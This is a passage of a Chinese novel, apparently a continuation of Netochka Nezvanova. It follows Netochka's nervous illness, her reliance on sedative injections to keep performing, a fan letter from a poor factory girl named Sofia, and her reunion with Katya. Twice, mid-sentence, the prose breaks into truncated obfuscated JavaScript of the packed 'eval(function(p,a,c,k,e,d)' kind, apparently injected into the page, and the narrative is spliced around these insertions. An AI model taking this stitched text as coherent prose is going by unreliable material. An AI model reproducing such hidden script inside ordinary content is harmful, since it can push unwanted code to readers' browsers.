我昏迷了两天,剧组不得不临时取消了剩下的演出。我们回到了彼得堡。彼得堡的医生为我做了更为详细的检查。这位经验丰富的医生认为,我患上的是一种罕见的神经性疾病。这种病发作时,患者会陷入完全失控的肌肉痉挛。也就是说,声带痉挛只是该病的一种表现形式。未来我可能会出现更多症状,譬如身体肌肉、脊柱抽筋。至于致病原因,医生也难以判断,他只是说,长期的精神紧张、焦虑可能是原因之一。 谢尔盖和黛西都建议我在家休养一段时间,暂时不要再想演出的事。 生病期间我一直呆在家里。我尽量以积极的心态去治疗。我尝试了蒸汽淋浴以及各种非处方药来缓解身体的痉挛。我开始第一次直面自己的身体。有时候晚上躺在床上,我感觉自己分裂成了两个自己,其中一个是躺着的我,另一个直是起身子俯视着自己的我。第二个我质疑着、审视着第一个我,责怪她,却又同情她。 过了将近半年,我的身体并没有什么好转的迹象。我开始陷入一种消极的状态之中。我悲观地觉得自己的所有努力是徒劳的。我害怕见人,感觉自己渐渐失去了与人交往的能力。我开始厌恶每一个人,感觉人是无聊又自私的动物,就像一个旋转的圆规,以自己为中心画一个圆并不断围着那个圆转圈。 我总是不自觉地想起卡佳,我想念她,同时又怨恨她。我总是默默地惦念她,而她呢?她也会像我想念她一样想念我吗?我开始思考爱的不均衡性,我认为一直以来我对她的爱总是更多一些。我心里开始不平衡。我不想有这样的想法,因为这会让我怀疑爱的纯粹性。毕竟,真正的爱是不会计较谁付出的多一些的。可我又是个世俗之人,现在还是个脆弱的人。我停止不了脑中阴暗的、悲观的想法。我矛盾又痛苦。 生病期间,家里不时有曾经向我示好的男士前来探望。我糊里糊涂地开始恋爱了。可只有我自己知道,我并不是因为爱情,而是因为想要打发自己的无聊和痛苦才和别人在一起的。甚至说,我是出于好奇,我想知道卡佳在恋爱中的感受是什么样的呢?恋爱会让人快乐吗? 我想我并没有找到肯定的答案。因为我在这些关系中即便短暂地感受到了快乐,但那种快乐是极其浅显的,仿佛一滴水珠落在水面上,激起一小圈涟漪就消失了。因为我感受过真正的快乐——那些和卡佳,和阿列克桑德拉·米哈伊洛耶夫娜在一起时发自肺腑的、深刻的快乐,所以一般的快乐于我而言低级又短暂。但恋爱也并非没有好处,至少我感受到了陪伴,虽然过度的陪伴有时让我有些疲惫。 似乎每段恋爱关系都维持不了太久。三四个月一过,我像困于牢笼的蜜鼠一样赶快溜之大吉,然后欣喜地暗自庆祝自己重获自由。我感觉自己越卑鄙,身体和心里上的痛苦就会越减轻一些。我陷入了一个怪圈。 25. 第32章 在我因病而心情低迷期间,我意外收到了一封信,落款是索菲亚·库兹涅佐娃。 我当时坐在圈椅上,回忆了好一会儿才想起来她是谁。她是我们在斯特雷尔纳小酒馆遇到的醉汉的女儿——在加特契夫剧院演出结束后给我送花的女孩。 “亲爱的安娜·格里高利耶夫娜,那天,父亲说他在酒馆遇到了您,您答应让我免费去看演出。知道这个消息后我激动地一夜没睡着觉,第二天早上在持续的亢奋中我先去纺织厂请了假,然后早早地坐车来到了加特契夫。 我是第一次来加特契夫。虽然这座小城离斯特雷尔纳很近,但从小到大我几乎没有离开过我们的城区,或者说,我们所居住的小房子附近的那几条街道。十三岁开始我就去纺织厂当了女工,每天工作十四个小时,工资按月结。每个月收到工资后我会把钱交给母亲,她治病需要花钱,同时,家里还要供几个弟弟读书。 我第一次认识您是因为有天厂长在工厂巡视的时候落下了一份戏报,那份报纸被我捡到了。报纸的头条版面上报道的是您在彼得堡歌剧院演出时的盛况。我看着照片上您那张熠熠生辉的面庞,内心激动极了。实不相瞒,我小时候也很喜欢唱歌,也在家里没人的时候偷偷躲在厨房的角落练习过,也梦想过成为您这样的女高音歌唱家。但艺术是有钱人的专利,穷人只能听工厂缝纫机的运作声。 从那之后,在报纸上偶尔得知您的消息成为了我生活中最大的快乐。即便从未听过您的歌声,但我就是毫无理由地相信您的嗓音一定具有很大的魅力。我没想到有一天能够去看您的演出。亲眼看到您的那一刻,我深信,您是上帝派来的天使,为内心痛苦挣扎的人带来了光亮。您看上去苍白、削瘦,可在舞台上竟有如此大的能量。 请原谅我在演出结束后冒昧地去找了您,我本想去感谢您,却正赶上您身体不舒服。您还好吗?上帝啊!我此刻多么想知道您的消息。为了喜欢您的观众,请您一定好好保护自己。请相信,您的观众爱您的声音,可他们更爱您。您的存在本身对我们而言就是最好的礼物。 C.K.” 信并不长,只有正反两面。信纸上有淡淡的香味,并不是名贵香水的味道,是某种普通的香粉味。我拿着那张信纸翻来覆去看了好几遍。无法否认的是,我的心被索菲亚朴素的文字冲击到了。我第一次真正意识到,我也可以在别人眼里熠熠生辉,我也可以成为别人的光芒。 我并不认为自己是一个天生具有魅力的人,我认为那些有魅力的人要么天生如此,要么具有散发魅力的天赋,譬如卡佳。可我并不属于二者之一。我是普通的,我需要非常努力才能散发一丝光芒。可索菲亚让我看见了自己的魅力。我也是有魅力的,我不需要做什么也可以有魅力。我捧着那封信哭了。 在那之后,我翻来覆去想了很久,最后做出了一个决定——我要重新回到舞台上。虽然我的病没有好,声带痉挛仍会不时地发作,但我管不了那么多了,我不喜欢现在的自己,不喜欢失去舞台的、从别人身上获得安慰的自己,我想要在舞台上发光的自己。 我重新回到了谢尔盖小剧院。为了可以正常演出,我对自己的生活作出了严格的规划。我严格控制饮食,戒掉酒和甜品。我需要足够的睡眠维持体力,即便因为失眠晚上躺在床上睡不着,我依旧会准时闭上眼。运动、按摩、活动身体的每一处肌肉、关节成了每天必做的事情。即便如此,我上台前仍然需要注射一定剂量的镇定药物以确保演出不会出现问题。 频繁用药使我的身体对镇定剂的敏感度越来越低,我注射的剂量越来越大了。黛西和谢尔盖一开始反对我这么做,但我态度坚决,后来他们也没有办法,不再阻挠了。我并非不在意自己的身体,我只是无法停下来,我无法不工作,无法不登台。 身体状态不好的时候,我从台上下来后会特别疲惫。有一次,演出结束后在化妆间卸妆的时候,我突然开始剧烈抽搐。我从椅子上摔了下来,蜷缩在地上,喉咙像被绳子勒紧了一样。我以最狼狈的姿态展现在其他人面前,这是我不愿意面对的状况,但在往后的几年里这种情况还发生过好几次。谢尔盖为我拿来草药制成的药剂进行局部喷雾,情况才好转了些。 索菲亚·德米特里耶夫娜会定期给我寄信,我也会回信。我用这些年赚的钱设立了一个小型个人艺术基金会,用来资助那些没钱学习音乐的孩子。索菲亚也得到了资助,她去纺织厂辞职了,找了一个时间更灵活的工作。一有空,她就会去音乐学院旁听。虽然起步的年龄有些晚,但迟做总比不做好。她希望通过自己的努力将来成为一名音乐老师。 那几年,我和卡佳的关系有些疏远了。我们并没有不联系,还是会偶尔寄信给对方,但仅仅是为了告知对方自己的近况,情感交流几乎是缺少的。 我在信中得知,公爵夫人两次急性癫痫发作,险些丧命。卡佳的弟弟阿廖沙在十八岁那年爱上了一个伯爵夫人的养女,但那个女孩后来受伯爵夫人之命嫁给了一位将军,阿廖沙从此变得不爱笑了。卡佳后来带着家人搬离了巴黎,去了卢森堡。 有时候对着信纸,我会突然不知道该写些什么。经历了种种事情以及长时间的分别,她的模样在我脑中竟有些模糊了。我会强迫自己回忆往事,强迫自己不要忘记。遗忘对我来说是一件非常可怕的事。 伊琳娜长成了大姑娘,她也有了心事,有时我会听见她的房间里传来啜泣声。我从舞蹈学院的老师那里得知,彼得堡芭蕾舞团将在舞蹈学院选一名最优秀的学生,当作未来的首席芭蕾舞女演员培养。伊琳娜和玛莎同时成为了候选人,这意味着两个女孩之间形变成了竞争关系。 伊琳娜刚学舞的时候——那时她还是扎着两个辫子的小女孩,就告诉祖母,未来想要成为彼得堡芭蕾舞团的首席舞者。她为了梦想付出了全部努力。如今花季少女的她身上已是伤痕累累。她第一次受严重的脚腕扭伤是在十四岁,那次受伤也留下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我对孩子缺少天生的热情。记得小时候,当我还和妈妈以及叶菲莫夫住在一起时,我们的街道上住着许多和我们一样的贫民。我时常能看见刚生完孩子没多久的女人,撩起破旧宽松的衣衫,露出有些发肿发红的□□,哺育怀里的婴儿。那些婴儿在我的印象里长得都很丑,而且脏兮兮的。婴儿嘴里拼命吮吸着一侧的□□,一只手贪婪地抓住另一侧的□□。女人脸上露出幸福的笑。可在这样的场景里我丝毫感受不到温馨与爱,我只觉得恐怖和反感。我无法想象,自己的身体被另一个生命霸占,也无法忍受漫长地育儿过程。曾经,在那样的环境里。我一直以为是自己有问题。 那条街道上还有许多和我年纪差不多的小男孩和小女孩。他们无法像有钱人家的孩子一样学习外语、艺术,只能成天在漫天的灰尘中奔跑、打闹。傍晚的时候他们带着两脚泥土、一身臭汗回到家,难免会被家里的大人训斥。我时常能听到隔壁,或者,隔壁的隔壁传来的大人的谩骂声、小孩的哭闹声。那些声音刺耳难听,仿佛不是人类发出来的,而是动物、或是电锯发出的。 对于我的母亲,我对她充满了同情与爱。可我一点儿也不想成为她那样的母亲。甚至,我立志要做和她完全相反的人。她为了男人和孩子付出了自己的一切,几乎完全地丧失了自我。 过往的经历让我坚定而自私地爱着自己。我想我永远不会生孩子。 26. 第33章 我三十岁生日那天,黛西和谢尔盖为我在家举办了一场生日宴。宴会正进行到高潮时,门口传来一阵敲门声。女仆去开了门,转交给了我一束鲜花,说是一位夫人送给我的。 花束中间藏着一张卡片,卡片上简洁地写着“生日快乐”几个字,没有署名。我看着那上面的字迹,猛地从座位上站了起来,推开门冲了出去。 在大门口,我看见了一架马车和一位牵着孩子的女士的背影。那位女士穿着一身淡蓝色的长裙,戴着当下最时兴的款式的帽子,身上几乎没有任何首饰,看上去朴素又高贵。 直觉告诉我,她是谁。 我紧张地攥紧了拳头,用不大地声音问:“卡佳?” 她转过身,眼神里并没有太多惊讶,似乎已经预料到我会找出来。 是她。卡佳的模样并没有太大变化,她还和以前一样美,甚至多出了一股岁月沉淀过的魅力。她的神色看上去柔和了些,但依旧目光如炬,眼神犀利。她看见我后,嘴唇微微触动了一下,朝我笑了笑。 那一瞬间,我心中那些因时间、距离、不理解产生的怨恨、隔阂全部消失了。即便经历了一段时间的疏远,只要再看她一眼,只要看到她那张完美无暇的面庞、乌黑亮泽的双眼,我的心就会立刻朝她靠近。 “你什么时候回来的?”我抑制着激动的心情问。 “前天。” “刚才怎么没进去?” “本来想进去的,但是听见里面在举行宴会,怕打扰到你们,就心想算了。” “这可是你家,你怎么能只在门口转转就算了。” 卡佳笑了笑,“以后又不是不来了。而且,是你一直在打理这座房子,一直照顾阿列克桑德拉·米哈伊洛夫娜,你现在才是这座房子的主人。” 她礼貌周到,但言语中并没有透出任何生分。 “你们现在住在哪里?这次回来会在彼得堡呆多久?” “住在姑姑家。涅朵奇卡,我不打算再出国了。” “你不会再走了?会一直留在彼得堡?” “嗯。” 我顿时感觉一阵欣喜。 “公爵夫人怎么样?” “妈妈这些年身体一直不太好,”卡佳叹了口气,“人老了很无奈的。” “请代我向她问好。阿廖沙呢?” “他去年从巴黎大学医学院毕业,现在是一名医生了。他在国外的时候就经常参加一些政治团体活动,到了彼得堡很快就找到了组织。他准备在涅瓦大街上租一栋公寓,单独住在那里,方便和朋友们聚会。” “那就剩你一个人了。”我犹豫了一下,“卡佳,你搬过来吧,和我们一起住。” “我不是一个人,”卡佳歪着头指着身旁的孩子说道,“还有他,他叫丹尼尔,今年三岁了。” 我看着丹尼尔,他长得很可爱,像个洋娃娃,乖巧地站在卡佳身旁不出声。我没有问卡佳,丹尼尔是谁,是不是她的孩子,因为我有些讨厌他,讨厌他紧紧攥着卡佳的手的样子。 “丹尼尔,你愿意住进这座大房子里吗?”我弯下身子问丹尼尔。 丹尼尔害羞地后退了一步,没有吭声。 “再说吧,涅朵奇卡。” 卡佳并没有给我直接的答复,但我却非无比期待她的到来。 没过多久,我就听说卡佳把公爵夫人送到了彼得堡一所很有名的贵族疗养院。公爵夫人年老之后脾气很差,总和儿女们吵架。卡佳虽然很爱自己的母亲,但性格也倔强得很。两个人就像火柴盒和火柴头,一有摩擦就着。最后,卡佳得出结论,自己和母亲是住不到一起的。她决定为母亲找一间疗养院,公爵夫人也同意了卡佳的决定。 住进疗养院后,公爵夫人的心情平静了许多。身体不舒服时她能得到及时的治疗,她在疗养院也找到了同龄的朋友。卡佳隔三岔五地去疗养院看望自己的母亲。这样一来,两人的关系反而缓和了不少。 母亲的事情处理好之后,卡佳突然通知我说,她决定带着丹尼尔搬过来和我们一起住。她做出决定时还是像以前一样风风火火。我来不及欣喜便赶紧吩咐女仆收拾东西、打扫房间。 阿廖沙已经从那段痛苦的恋情中走了出来。他帮卡佳搬家偷偷告诉我,自己的姐姐曾有段非常抑郁的时光——公爵留下的的巨额财产因为她投资失败损失了不少,后来,她的身体还做过一项大手术。术后恢复期间,卡佳总是担心自己会突然死掉。丹尼尔是她后来收养的孩子,她对他非常慷慨、富有爱心。 阿廖沙说,卡佳这些年一直是一个人。 有一次午后,丹尼尔刚刚睡下,卡佳准备去一趟疗养院看望公爵夫人。她刚出去没多久,我就听见楼上传来孩子的哭声。女仆正巧出门买东西去了,我只好独自来到了丹尼尔的房间。我推开门,看见他孤零零地坐在一张大床的中央,主动朝我伸出了双手。 我把他抱了起来,我抱得不太熟练,他被晃了一下,于是他很聪明地迅速用双手搂住了我的脖子,还沾着泪水的睫毛触碰到我的脸颊,那一刻我突然对他充满了爱意。我感激这个小小的孩子在我爱的人困难的时候陪伴过她,我感激他用自己纯净的笑容治愈过一颗同样纯净的灵魂。 我突然想起来,小时候和卡佳躺在被窝里说悄悄话,我们在讨论以后想成为什么样的人。我说,我想成为富有的人,有名的人,独立的人,勇敢的人。卡佳歪着脑袋想了半天,最后告诉我,她不想成为怎么样的人,因为她很喜欢她此刻的自己。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他们也陪伴了我,我很感激他们。” “小姐!”女仆突然高喊着跑了过来,打断了我们的谈话。 “怎么了?”我问。 “她……她……”女仆气喘吁吁地蹦出两个字。 “谁?到底怎么了?” “是阿列克桑德拉·米哈伊洛夫娜,她醒了!” 我和卡佳对视了一眼,在彼此眼中看到了笑意。一阵微风吹来,鼻尖飘来花园里花草树木的淡淡清香。 夏天要来了,樱桃树很快就要满树英红了。